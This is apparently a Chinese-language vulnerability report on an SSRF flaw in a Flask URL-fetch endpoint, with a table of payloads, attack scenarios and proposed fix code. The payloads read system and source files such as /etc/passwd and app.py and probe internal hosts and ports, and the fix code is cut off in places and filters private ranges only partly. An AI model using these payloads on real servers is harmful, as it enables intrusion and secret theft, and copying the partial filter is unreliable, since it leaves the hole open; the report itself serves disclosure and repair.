

SSRF 漏洞报告

测试目标: Flask URL 抓取功能
漏洞位置: POST /fetch-url
报告日期: 2026-07-14

漏洞概述

URL 抓取功能将用户输入的 URL 直接传给 `urllib.request.urlopen()` , 无协议限制、无内网 IP 过滤、无路径校验, 存在严重 SSRF 漏洞。

漏洞详情

#	攻击向量	Payload	风险等级
1	本地文件读取	<code>file:///etc/passwd</code>	高危
2	本地文件读取	<code>file:///etc/hosts</code>	高危
3	源码读取	<code>file:///app.py</code>	高危
4	内网自身服务	<code>http://127.0.0.1:5000/</code>	高危
5	端口探测	<code>http://127.0.0.1:22/</code>	高危
6	内网 192.168.x.x	<code>http://192.168.10.130:5000/</code>	高危
7	内网 10.x.x.x	<code>http://10.0.0.1/</code>	高危

攻击场景

场景 1：读取系统文件

```
POST /fetch-url
url=file:///etc/passwd
```

读取系统用户列表，为后续攻击提供信息。

场景 2：读取源码

```
POST /fetch-url
url=file:///home/.../app.py
```

获取 `secret_key` 和数据库路径。

场景 3：内网探测

```
POST /fetch-url
url=http://127.0.0.1:3306/      # MySQL
url=http://127.0.0.1:6379/    # Redis
url=http://192.168.1.1/       # 内网路由
```

修复方案

协议限制

```
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
    return render_template("index.html", user=safe_user, fetch_result="<p>不支持
```

内网 IP 过滤

```
if hostname in ("localhost", "127.0.0.1", "0.0.0.0"):
    return render_template("index.html", user=safe_user, fetch_result="<p>不允许
ip = socket.gethostbyname(hostname)
```

```
if ip.startswith("10.") or ip.startswith("192.168.") or ip.startswith("172.16.")  
    return render_template("index.html", user=safe_user, fetch_result="<p>不允许")
```

修复验证

攻击向量	修复前	修复后
file:// 协议	✗	✓ 拦截
127.0.0.1	✗	✓ 拦截
localhost	✗	✓ 拦截
192.168.x.x	✗	✓ 拦截
10.x.x.x	✗	✓ 拦截
外网 HTTP	✓	✓ 正常